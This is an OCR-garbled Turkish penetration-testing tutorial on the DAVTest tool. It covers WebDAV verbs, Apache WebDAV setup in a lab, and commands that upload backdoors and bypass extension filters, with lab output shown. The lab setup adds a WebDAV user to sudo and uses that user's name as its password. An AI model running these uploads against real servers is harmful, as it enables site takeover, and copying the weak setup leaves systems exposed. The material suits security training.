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a. DAVTest Nedir?

DAVTest hedef web sunucularindaki WebDav servisini denetleyen ve exploit eden bir tool'dur.
WebDAYV servisi acik olan web sunucularina calistirilabilir dosya upload'lanabiliyor mu testini
yapar ve upload'lanabiliyorsa backdoor koymamizi saglar. DAV Test tool'u asagidaki islemleri
desteklemektedir:

- Hedef web sunucusuna otomatik olarak exploit dosyasi gonderme

- Hedef web sunucusuna txt dosyasi gonderme ve txt dosyasinin ismini ¢alistirilabilir dosya
haline doniistiirmeyi deneme

- Hedef web sunucusuna gonderilen dosyay1 otomatik olarak silme

- Hedef web sunucusuna rastgele herhangi bir dosya génderebilme

b. WebDav Servisi Nedir?

WebDAYV servisi istemcilere uzaktan web sunucusundaki web iceriginde yetkili islemler
gerceklestirebilmesini saglayan bir http protokolii uzantisidir. Bu servis ile istemciler web sunucusu
izerinde dokiiman olusturma, dokiiman degistirme, dokiiman tasima gibi islemlerini
gerceklestirebilmektedirler. Bu servis standard http verb'lerine (HEAD, GET, POST, PUT,
DELETE, TRACE, ...) ekstradan su verb'leri de ekler.

COPY
Ayni sunucu igerisindeki bir url'den diger url'ye kaynak kopyalamasi islemini yapar.

MKCOL
Dizin olusturur.

MOVE
Ayni sunucu igerisindeki bir url'den diger url'ye kaynak tasima islemini yapar.



PROPFIND
Bir web kaynaginin xml formatinda 6zelliklerini getirtir. Ayrica uzak sistemin dizin
hiyerarsisini getirmeyi de saglar.

PROPPATCH
Bir kaynak tizerindeki birden fazla 6zelligi degistirmeyi ve silmeyi saglar.

LOCK
Bir kaynaga kilit koyar.

UNLOCK
Bir kaynaktaki killidi acar.

Su web sunucular1 WebDAYV servisine sahiptirler:

- IIS Sunucular
WebDAYV modiilii (optional)

- Apache Sunucular
dav_fs modiilii veya Apache Subversion (svn) temelli bir WebDAYV destegi
(optional)

- Nginx Sunucular
Kisith bir WebDav modiilii (optional)

- lighttpd Sunucular
WebDav modiilii (optional)

WebDav servisi ile dosya upload'lama, dosya silme ve dosya tasima gibi islemler yapabildigimiz
icin ayn1 islemleri yapan

- File Transfer Protocol (FTP) //'ya da FTP'nin secure hali FTPS protokolii
- SSH File Transfer Protocol (SFTP)
- SMB or SAMBA // Uzaktan bir sistemin dosya hiyerarsisine erisim

servisleri WebDav servisinin alternatifleridirler.



c. DAVTest Kullanimi

WebDav servisini denetleyen ve exploit eden davTest tool'u Kali ile beraber gelmektedir. Kullanimi
asagidaki gibidir:

// Default Kullanim

> davtest -url http://www.example.com/webdav_dizin_ismi/

Output (e.g.):
Testing DAV connection // WebDAYV acik m1 kontrolii
OPEN SUCCEED: http://192.168.1.209 /| WebDAV servisi acik

NOTE Random string for this session: BOyG9nhdFS8gox

Creating directory
MKCOL SUCCEED: Created http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox // Hedef web sunucusun-
// da dizin olusturulur.

Sending test files

// Hedef web sunucusundaki olusturdugumuz dizin icerisine sirasiyla aym isimli asp, txt,
/I perl, jsp, cfm, aspx, jhtml, php, html ve shtml dosyalar1 yollama denemeleri yapilir

PUT asp FAIL

PUT cgi FAIL

PUT txt SUCCEED: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest BOyG9nhdFS8gox.txt

PUT pl SUCCEED: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_BOyG9nhdFS8gox.pl

PUT jsp SUCCEED: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_BOyGInhdFS8gox.jsp
PUT cfm SUCCEED: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest BOyG9nhdFS8gox.cfm
PUT aspx FAIL

PUT jhtml SUCCEED: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.jhtml
PUT php SUCCEED:  http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest BOyG9nhdFS8gox.php
PUT html SUCCEED: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_ BOyG9nhdFS8gox.html
PUT shtml FAIL

// SUCCEED'ler hedef web sunucusuna upload'lamayi basarabildigimiz dosyalar: gésterir.

Checking for test file execution

// Hedef web sunucusuna yollanabilen dosyalarin icerisindeki betik kodlar1 hedef sistemde calisabiliyor mu
/I callsamiyor mu kontroliinii yapar. Boylece hangi betik dili hedef sistemde kullanihiyor tespiti yapilir ve
/I gonderilecek shell ona gore belirlenebilir..

EXEC txt SUCCEED: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9InhdFS8gox.txt
EXEC pl FAIL

EXEC jsp FAIL

EXEC cfm FAIL

EXEC jhtml FAIL

EXEC php FAIL

EXEC html SUCCEED: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9InhdFS8gox.html

// SUCCEED'ler hedef web sunucusunda calisabilen betik dillerini ifade eder.



/usr/bin/davtest Summary:

// Hedef Web sunucunda basarilan islemlerin 6zeti sunulur:

// Hedef sistemde dizin olusturuldu. /| ismi=>
DavTestDir_B0yG9nhdFS8gox

/!

1 Put File: satirlar1 upload'lanabilen dosyalar: gésterir.
Il N N N N N NN NI NN NN NN NN NN NN NN NN

/ Dizin icerisine txt dosyas1 basariyla yollandi.

/ Dizin icerisine pl dosyasi basariyla yellandi.

/ Dizin icerisine jsp dosyasi basariyla yollandi.

/ Dizin icerisine cfm dosyasi basariyla yollandi.

1 Dizin icerisine jhtml dosyasi basariyla yollandi.

/ Dizin icerisine php dosyasi basariyla yollandi.

/ Dizin icerisine html dosyasi1 basariyla yollandi.

1

1/ Executes: satirlar: hedef sistemde desteklenen (calisabilen) betik dillerini gosterir.
Il N N N N N N NN NN NN NN NN IS

/ Dizin icerisindeki txt dosyasi calistirilabilir izne sahip
/ Dizin icerisindeki html dosyasi calistirilabilir izne sahip

Created: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox

PUT File: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest BOyG9nhdFS8gox.txt
PUT File: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_ BOyG9nhdFS8gox.pl
PUT File: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest BOyG9nhdFS8gox.jsp
PUT File: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_BOyG9nhdFS8gox.cfm
PUT File: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest BOyG9nhdFS8gox.jhtml
PUT File: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest BOyG9nhdFS8gox.php
PUT File: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_BOyG9nhdFS8gox.html

Executes: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest BOyG9nhdFS8gox.tXt
Executes: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.html

Exexutes satirlarindan desteklenen betik dillerini 6grenerek hedef web sunucusuna érnegin uygun
bir backdoor konabilir ve web sunucusu hack'lenebilir. Backdoor upload'layabilmek i¢in davtest
tool'unun parametrelerinden faydalanilmasi gerekmektedir. Bu parametreler sunlardir:

> davtest -url <url> [options]
-auth+ Authorization (user:password)

-uploadfile+ upload this file (requires -uploadloc)
-uploadloc+ upload file to this location/name (requires -uploadfile)

-url+ url of DAV location
-cleanup delete everything uploaded when done
-move PUT text files then MOVE to executable

-directory+ postfix portion of directory to create
-debug+ DAYV debug level 1-3 (2 & 3 log req/resp to /tmp/perldav_debug.txt)

-nocreate don't create a directory
-quiet only print out summary
-rand+ use this instead of a random string for filenames

-sendbd+ send backdoors:
auto - for any succeeded test
ext - extension matching file name(s) in backdoors/ dir

[ Burada bahsedilen davtest kullamimlarinun uygulamali gosterimi sonraki bagliklarda yer alacaktir ]



i) Hedef WebDAYV Servisini Denetleme ve Kendi Backdoor'umuzu Upload'lama

Asagidaki davtest tool'unun default kullanimin1 gérmektesin. Default kullanim ile hedef WebDav
servisine dosya upload'lanabiliyor mu, upload'lanabiliyorsa hedef web sunucu hangi betik dillerini
destekliyor sonuclarina ulasiriz. Bu iglem icin davtest tool'u kendinde tanimh tiim “asp, jsp, php,
aspx,...” script'lerini iclerinde matematiksel islemler bulundurur vaziyette hedef webdav servisinin
dizinine upload'lamay1 dener. Basariyla upload'lanabilen script dosyalarindan matematiksel islemi
hesaplayabilen (yani script kodunu ¢alistiran) dosyalari tespit eder ve ciktiya Executes satirlari
olarak sunar. Executes: satirlar1 hedef sistemde hangi script dillerinin ¢alisabildigini bize soyler.

// Default Kullamimi

> davtest -url http://172.16.3.72/webdav // webdav dizin ismi WebDav kurulumuna goére
// degisebilir.

Yukaridaki kullanim ile ¢alisan betik dilini tespit ettikten sonra -uploadfile parametresine yerel
sistemimizdeki dosya ve -uploadloc parametresine ise hedef web sunucusundaki bir url konarak
hedef web sunucusuna WebDAYV servisi iizerinden elle belirli bir uzantida dosya (6rn; backdoor)
upload'layabiliriz.

// Yerel sistemimizdeki backdoor.php dosyasi hedef sistemde bulunulan WebDav servi-
// sinin kok dizinine, yani webdav dizinine upload'lanir ve exploitation'a giden yol
// boylece agilir.

(yeni kali’lerde )

> davtest -uploadfile /root/backdoor.php -uploadloc backdoor.php -url http://172.16.3.
72/webdav

(‘eski kali’lerde )
> davtest -uploadfile /root/backdoor.php -uploadloc ./ -url http://172.16.3.72/webdav

Boylece elle hedef sisteme kendi backdoor dosyamizi upload'lama islemini gérmiis olduk.Bu
noktadan sonra backdoor dosyamiza eriserek exploitation1 (web site hack'lemesini)
gerceklestirebiliriz.

ii) Hedef WebDav Servisine Giivenligi Bypass Ederek Backdoor Upload'lama

Eger davtest tool'unun default kullanimi sonucunda hi¢bir matematiksel islem tasiyan betik dosyasi
upload'lanamamigsa ve sadece txt uzantili dosya upload'lanabilmisse -move parametresi ile tim
script'leri txt uzantili olarak hedef sisteme upload'layip tiim dosyalar hedef web sunucusuna
yerlestiginde sirasiyla ilgili script uzantisina doniistiiriilmeye calisilabilir. Move komutu ile
upload'lanan dosyalar ilgili betik dili uzantisina doniisebilirlerse hedef sistemin upload
mekanizmasindaki giivenlik énlemi bypass edilmis olacaktir.

// Move ile hedef web sunucuya matematiksel islem tasiyan betik dosyalar txt olarak
// upload'lanir ve sonra dosyalar sunucuya yerlestikten sonra ilgili uzantilarina



// déniistiiriilmeye caligilir.
> davtest -move -url http://172.16.3.72/webdav

Buradan hareketle belirli bir backdoor dosyasini txt uzantili génderip sonra ¢aligtirabilir uzantiya
doniistiirebiliriz.

// TXT Yapma islemi Kendi Backdoor'umuz icin DavTest'te CALISMIYOR (!)
> davtest -move -uploadfile /root/backdoor.php -uploadloc ./ -url http://172.16.3.72/webdav

/A

1]

R

// Default kullanima -move parametresi eklendiginde ¢iktiya test betik dosyalarinin

// (matematiksel islem tasiyan dosyalarin) txt uzantili olarak basariyla upload'landig: ve

// sonra MOVE komutuyla basarili bir sekilde ilgili uzantilara hedef sunucuda

// doniistiiriildiigii goriilmektedir. Fakat kendi backdoor'umuzu upload'larken -move

// parametresi ayni islem gerceklestirememektedir. Github'daki tool'un kaynak koduna

// bakildiginda -move parametresinin sadece davtest tool'u icerisinde taniml backdoor'lar

// upload'lanirken islevsel oldugu goriilmiilmiistiir. Kendi backdoor'umuz i¢in move

// parametresi calissin seklinde bir kodlamaya rastlanmamistir (Her kod blogunun basinda

// islevini anlatan yorum satirlar1 bulunuyordu ve kendi backdoor'umuzu move ile

// upload'lamaya dair bir kod bloguna rastlanmadi). Ayrica davtest log'larina bir default

// kullanim ve move parametresi sonrasi bakilmistir ve bir de kendi backdoor'umuz ve move

// parametresi sonrasi bakilmistir Log'larda default kullanim + move 'un dosyalar http put

// request ile txt uzantili upload'ladig1 goriilmiistiir, fakat kendi backdoor'umuz + move 'un

// dosyay1 betik dili uzantisiyla upload'ladig1 goriilmiistiir. Sonug olarak kendi
belirledigimiz

// bir backdoor'u txt olarak génderip tekrar eski haline déndiirme islemini davtest ile

// yapamamaktayiz. Fakat bir WebDav istemcisi olan (ve Kali'de yiiklii olarak gelen)
cadaver

// istemcisi ile bu islemi manuel olarak yapabiliriz. Cadaver kullanimi ileride verilecektir.

iii) Hedef WebDav Servisine DavTest icinde Yiiklii Backdoor'u Upload'lama

-sendbd (send backdoor) parametresi ise i) maddesinde yapildig {izere kendi backdoor dosyamizi
upload'lamak yerine davtest tool'undaki tiim betik dilleri i¢in tamimli backdoor'lar1 hedef sisteme
upload'lamay1 saglar. Davtest tool'una sendbd parametre degeri olarak auto verilirse davtest tool'u
hedef sistemde sadece saptadig1 desteklenen (¢alisabilen) script dillerinde “shell script” dosyalarini
upload'layacaktir.

// Tim matematiksel islem tasiyan script'ler génderilir. Calisabilen script'ler saptanir ve
// sendbd auto parametresi ile desteklenen tiirden backdoor dosyalar1 hedef sisteme
// upload'lanir ve exploitation'a giden yol agilir.

> davtest -sendbd auto -url http://172.16.3.72/webdav

iv) Hedef WebDav Servisine DavTest Icinde Yiiklii Backdoor'u Giivenligi Bypass Ederek
Upload'lama



Nihai olabilecek kullanim sekli (-move ve -sendbd nin beraber kullanimi) asagida verilmistir. Daha
once ifade edildigi iizere move parametresi hedef sisteme upload'lanan dosyalar txt uzantil
upload'layip dosyalar sunucuya yerlestikten sonra ilgili uzantilarina déniistiirmeye yariyordu ve
sendbd parametresi ise “davtest icinde yiiklii” backdoor'lar1 upload'lamaya yariyordu. Beraber
kullanildiklarinda ikisinin 6zellikleri birlesir. Asagidaki kullanimda davtest default kullanimi
dolayisiyla 6nce tiim matematiksel islemlere sahip test script'leri hedef sisteme yollanir, ancak -
move parametresi kullanildig icin txt uzantil yapilarak yollanir. Ardindan move parametresi ile
hedef sistemde tiim txt uzantili dosyalar ilgili script uzantisina déniistiiriilmeye ¢alisilir. Doniisen
dosyalar icerisinden matematiksel islemi hesaplayan (yani ¢alisan) script'ler tespit edilir ve boylece
hedef sistemin destekledigi script dilleri saptanir. Ardindan -sendbd auto ile desteklenen tiirden
shell dosyalar hedef sisteme txt olarak gonderilip sonradan ilgili betik uzantisina dontistiiriilerek
upload'lanir.

// Move ile hedef web sunucuya matematiksel islem tasiyan betik dosyalar txt olarak

// upload'lanir ve sonra dosyalar sunucuya yerlestikten sonra ilgili uzantilarina

// doniistiiriilmeye calisilir. Doniisen betik dosyalari icersinden matemetiksel islemi

// hesaplayanlar tespit edilir ve boylece desteklenen betik dilleri belirlenir. Ardindan belir-
// lenen betik dillerinde davtest icindeki backdoor'lar hedef sisteme txt olarak upload'lanir
// ve sonra ilgili uzantilarina doniistiiriilerek exploitation'a giden yol agilir.

> davtest -move -sendbd auto -url http://172.16.3.72/webdav

d. Apache'ye WebDav Kurulumu
[+] Birebir denenmistir ve basariyla Ubuntu 14.04 LTS ana makinasina kurulmustur.

DavTest Tool'unu hedef apache sunucuda kullanabilmek i¢gin hedef apache sunucuda bir apache
modiilii olan WebDav modiiliiniin kurulu olmasi gerekmektedir. Bu nedenle apache sunucuya
WebDav modiilii su sekilde kurulmaktadir.

# Apache sunucuda WebDav modiilii (servisi) i¢in herhangi bir isimde dizin olusturulur.
sudo mkdir /var/www/webdav

# Apache yazilimina /var/www'de yazma izni vermek icin owner izni apache kullanicisina
# verilir.
sudo chown -R www-data:www-data /var/www/

# Apache sunucusuna webdav modiilleri yiiklenir.
sudo a2enmod dav
sudo a2enmod dav_fs

# Apache sunucusundaki 000-default.conf konfigurasyon dosyasi agilir.

nano /etc/apache2/sites-available/000-default.conf

# [1k satira asagidaki ifade girilir.
DavLockDB /var/'www/DavLock



# Ardindan <VirtualHost> tag'lar1 arasina ise asagidaki ifadeler girilir.
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
</Directory>

# Sonuc olarak 000-default.conf konfigurasyon dosyasinin son

# hali suna benzer olacaktir:

DavLockDB /var/www/DavLock

<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLSs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin webmaster@localhost
DocumentRoot /var/www/html

# Available loglevels: trace8, ..., tracel, debug, info, notice, warn,
# error, crit, alert, emerg.

# It is also possible to configure the loglevel for particular

# modules, e.g.

#LogLevel info ssl:warn

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR }/access.log combined

# For most configuration files from conf-available/, which are

# enabled or disabled at a global level, it is possible to

# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only

# after it has been globally disabled with "a2disconf".

#Include conf-available/serve-cgi-bin.conf

Alias /webdav /var/www/webdav

<Directory /var/www/webdav>
DAYV On

</Directory>

</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

# Son olarak apache servisi yeniden baglatilir.
sudo service apache?2 restart

Boylece WebDav servisi apache'ye kurulmus olacaktir.



Uyan

WebDav servisine erisimin kullanici ad1 ve sifre ile yapilmasi isteniyorsa DIGEST authentication
modiili kullanilabilir. Bunun icgin;

# Apache sunucusunda WebDav servisi icin hesap olusturulur.
> adduser alex // Sifre sordugunda da alex diyelim.

# WebDav servisi hesab1 sudo grubuna eklenir.
> usermod -aG sudo alex

# Apache Digest modiilii enable edilir.
> sudo a2enmod auth_digest

# Digest dosyasi olusturabilmek icin gerekli dependency'ler yiiklenir.
> sudo apt-get install apache2-utils

# Digest kullanic1 ad1 - sifre dosyasi olusturulur.

> sudo htdigest -c /etc/apache2/users.password webdav alex  // Sifre soruldugunda alex
/1 girilir.

# Apache user'inin (www-data nin) digest kullanici adr -

# sifre dosyasinm1 okumasina izin verilir.

> sudo chown www-data:www-data /etc/apache2/users.password

# Ardindan apache sunucusundaki 000-default.conf konfigurasyon dosyasi agilir.
> nano /etc/apache2/sites-available/000-default.conf

# <Directory> tag'lar1 arasina asagidaki satirlar girilir:
AuthType Digest

AuthName "webdav"

AuthUserFile /etc/apache2/users.password

Require valid-user

# Sonuc olarak 000-default.conf konfigurasyon dosyasinin son
# hali suna benzer olur:
DavLockDB /var/'www/DavLock

<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin webmaster@Ilocalhost
DocumentRoot /var/'www

# Available loglevels: trace8, ..., tracel, debug, info, notice, warn,
# error, crit, alert, emerg.



# It is also possible to configure the loglevel for particular
# modules, e.g.

# LogLevel info ssl:warn

ErrorLog ${ APACHE_LOG_DIR}/error.log

CustomLog ${APACHE_LOG_DIR}/access.log combined

# For most configuration files from conf-available/, which are

# enabled or disabled at a global level, it is possible to

# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only

# after it has been globally disabled with "a2disconf".

# Include conf-available/serve-cgi-bin.conf

Alias /webdav /var/'www/webdav

<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
</Directory>

</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

# Son olarak apache servisi yeniden baglatilir.
> sudo service apache?2 restart

Boylece WebDav servisine erisim kullanici ad1 ve sifre kontroliiyle gerceklesir..

Index of fwebdav - Chromium

[ Index of /webdav
“« C | @ localhost,

m ©

=1 Index of /webdav

Name Last modified Size Description
3 Parent Directory.

Apache/2.4.7 (Ubuntu) Server at localhost Port 80

A<948B oo

Not : /etc/apache2/apache2.conf dosyasindaki sadece GET, POST ve HEAD taleplerine izin veren
konfigurasyon ayar1 davtest tool'u, (sonradan bahsedilecek) cadaver istemcisi ve (sonradan
bahsedilecek) File Browser ile WebDav'a erismemizi engellemektedir. Ciinkii webdav GET, POST
ve HEAD methodlar disinda bagka http methodlar1 da kullanmaktadir. O nedenle WebDav



servisine erisim i¢in ilgili konfigurasyon ayarin1 agsagidaki gibi yorum satir1 yapmamiz
gerekmetktedir.

> nano /etc/apache2/apache2.conf

#<Location />

# <LimitExcept HEAD GET POST>
#  order deny,allow

#  deny from all

# </LimitExcept>

#</Location>

Not 2: Eger WebDav servisinde kullanici ad1 ve sifre kontroliinii kapamak istiyorsak <Directory>
dizinleri arasindaki

AuthType Digest

AuthName "webdav"

AuthUserFile /etc/apache2/users.password
Require valid-user

satirlarini yorum satir1 yapip apache? 'yi restart'lamak yeterlidir.

e. Uygulama (Apache'ye Davtest Yapma)

[+] Birebir denenmistir ve bagariyla uygulanmistir.

Gereksinimler
- Kali Linux 2018 [Davtest Tool'u]
- Ubunu 14.04 LTS [Hedef Apache ve WebDav Servisi]

Hedef apache sunucusunu Kali Linux 2018 sanal makinasindeki davtest tool'u ile test etmek icin
Kali Linux 2018 sanal makinasinda asagidaki komut ¢alistirilir:

Kali Linux 2018 Terminal:

> davtest -url http://172.16.3.72/webdav/

Not: IP adresi Ubuntu 14.04 LTS nindir. /webdav dizini ise WebDav kurulumu

sirasinda belirlenmis WebDav servisinin kok dizinidir.
Not2 : Hedef IP adresinin localhost'una erisim icin Ubuntu 14.04 LTS 'deki ufw disable

edilmelidir.
Output:
Output
* * * * * * * * * ok

Testing DAV connection



OPEN SUCCEED: http://172.16.3.72/webdav

* * * * * * * * * ok

NOTE Random string for this session: dHRSZQhI

Sfe ok 3fe sfe ok 3 Sfe ok s Sfe Sk 3fe Sfe Sk > Sfe Sk 3¢ Sfe ke s She ke 3 Sfe Sk 3¢ She ke e Sfe Sk > She ke 3he Sfe Sk s She ke 3fe Sfe ke s She ke e Sfe Sk e She sk ke e ok

Creating directory

MKCOL SUCCEED: Created http://172.16.3.72/webdav/DavTestDir_dHRSZQhI

Sk 3k 3k sk 3fe sfe sfe s sfe sk sk sk ok ok Sk Sk sl sk sk she s sk sk sk sk sk ok Sk Sk ke s sk sk she sfe st sk sk sk sk ok sk sk sk sk sk st she sk sk sk sk sk sk sk ok

Sending test files

PUT cfm SUCCEED  http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest dHRSZQhI.cfm
PUT pl SUCCEED:  http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest dHRSZQhI.pl
PUT txt SUCCEED:  http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest_ dHRSZQhI.txt
PUT  asp SUCCEED:  http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest dHRSZQhl.asp
PUT  jhtml SUCCEED: http:/172.16.3.72/webdav/DavTestDir_ dHRSZQhl/davtest dHRSZQhI.jhtml
PUT aspx  SUCCEED: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest dHRSZQhI.aspx
PUT  html SUCCEED:  http://172.16.3.72/webdav/DavTestDir_dHRSZQhI/davtest dHRSZQhI.html
PUT shtml SUCCEED: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest dHRSZQhI.shtml
PUT  jsp SUCCEED:  http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_ dHRSZQhI.jsp
PUT  cgi SUCCEED:  http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest dHRSZQhl.cgi
PUT  php SUCCEED:  http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest dHRSZQhI.php

S sk ok she sk ok sk ok sk sk ok she sk ke s sk sk sk ok she sk ke she sk She sk ke sfe sk She sk sk she sk e sfe sk She sk Sk she sk e sk ok she sk Sk she sk ke sk sk e sk sk

Checking for test file execution

EXEC cfm FAIL

EXEC pl FAIL

EXEC txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest. dHRSZQhI.txt
EXEC asp FAIL

EXEC jhtml FAIL

EXEC aspx  FAIL

EXEC html SUCCEED:  http://172.16.3.72/webdav/DavTestDir dHRSZQhI/davtest dHRSZQhI.html
EXEC shtml FAIL

EXEC jsp FAIL

EXEC cgi FAIL

EXEC php SUCCEED: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest. dHRSZQhI.php

St 3fe ok sfe >k ol sfe ok sfe sk ok sk ok sk sfe ok sfe s ok she ok sk sfe ok She sk ok she ok sk sfe ke sfe ke sk sfe ok sfe sk ol sfe ok sk sk ok she ke sk sfe ok sfe sk sk sk sk ok

/usr/bin/davtest Summary:

Created: http://172.16.3.72/webdav/DavTestDir_ dHRSZQhI

PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest dHRSZQhI.cfm
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest_ dHRSZQhI.pl
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest_ dHRSZQhI.txt
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhI/davtest_ dHRSZQhl.asp
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhI/davtest dHRSZQhI.jhtml
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest_ dHRSZQhI.aspx
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest_ dHRSZQhI.html
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest dHRSZQhI.shtml
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest dHRSZQhI.jsp
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest dHRSZQhI.cgi
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest dHRSZQhI.php
Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest dHRSZQhI.txt
Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest_ dHRSZQhI.html
Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_ dHRSZQhI.php

Ciktadan goriilebilecegi tizere 6nce hedef apache sunucusunda WebDav servisi agik mi1 kontrolii
yapilmustir. Acik oldugu tespitinden sonra bir klasér olusturulmustur ve test amaclh (matematiksel
islem iceren) tiim betik dillerinde dosyalar hedef apache sunucusundaki olusturulan klasére
WebDav servisi lizerinden upload'lanmistir. Daha sonra gonderilen betik dosyalarindaki
matematiksel islemleri hesaplayabilen dosyalar belirlenip hangi betik dilinin hedef sistemde
calistig1 tespit edilmistir. Son olarak da ¢iktidaki Summary bashg: altinda basariyla upload'lanan
test betik dosyalar1 ve Executes: satirlari ile de hedef sunucuda calisabilen betik dilleri ekrana
basilmigtir. Asagida WebDav servisine upload'lanan dosyalar1 gérmektesin:



Ubuntu 14.04 LTS WebDav Dizini:

Index of fwebdav/DavTestDir_ZshXgBOTylqsIVY - Chromium

[@ Index of fwebdav x

< C | @ localhost, 3 -
S Index of /webdav/DavTestDir_ZShXqBOTylgsIVY

Name Last modified Size Description

a Parent Directory

. @ davtest ZShXqBOTylgsIVY¥.asp 2018-03-08 13:53 44
@ davtest ZShXqBOTylgsIVY.aspx 2018-03-08 13:53 44
@ davtest ZShXgBOTylgsIVY.cfm 2018-03-08 13:53 42

@ davtest ZShXqBOTylgsIV¥.cgi 2018-03-08 13:53 66
davtest ZShXqBOTylgsIVY.html 2018-03-08 13:53 26
@ davtest ZShXqBOTylgsIVY jhtml 2018-03-08 13:53 37
@ davtest ZShXqBOTylqsIVY.jsp 2018-03-08 13:53 37
@ davtest ZShXqBOTylgsIVY.php 2018-03-08 13:53 24
davtest ZShXqBOTylgsIVY.pl 2018-03-08 13:53 66
3 davtest ZShXgBOTylgsIVY.shtml 2018-03-08 13:53 184
davtest ZShXqBOTylgsIVY.txt 2018-03-08 13:53 19

- Apache/2.4.7 (Ubuntu) Server at localhost Port 80

Bu noktadan sonra davtest tool'unun ¢iktisindan gorebilecegimiz {izere ¢aligabilen betik dilini
ogrendigimize gore elle belirli bir backdoor dosyasini hedef sunucuya upload'layabiliriz. Ya da
davtest tool'u icerisinde tanimli bir backdoor dosyasini otomatikmen hedef sunucuya goénderebiliriz.

=> Kendi Backdoor'umuzu Upload'lama
# DavTest Tool'u Ciktisinin Summary (Ozet) Bashg1 Suydu:

Created: http://172.16.3.72/webdav/DavTestDir_dHRSZQhI

PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhI/davtest_ dHRSZQhI.cfm
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhI/davtest_ dHRSZQhI.pl
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_ dHRSZQhI.txt
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest_ dHRSZQhl.asp
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest. dHRSZQhI.jhtml
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhI.aspx
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_ dHRSZQhI.html
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhI/davtest_dHRSZQhI.shtml
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_ dHRSZQhl.jsp
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhI/davtest dHRSZQhI.cgi
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest. dHRSZQhI.php
Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest_ dHRSZQhI.txt
Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhlI/davtest_ dHRSZQhI.html
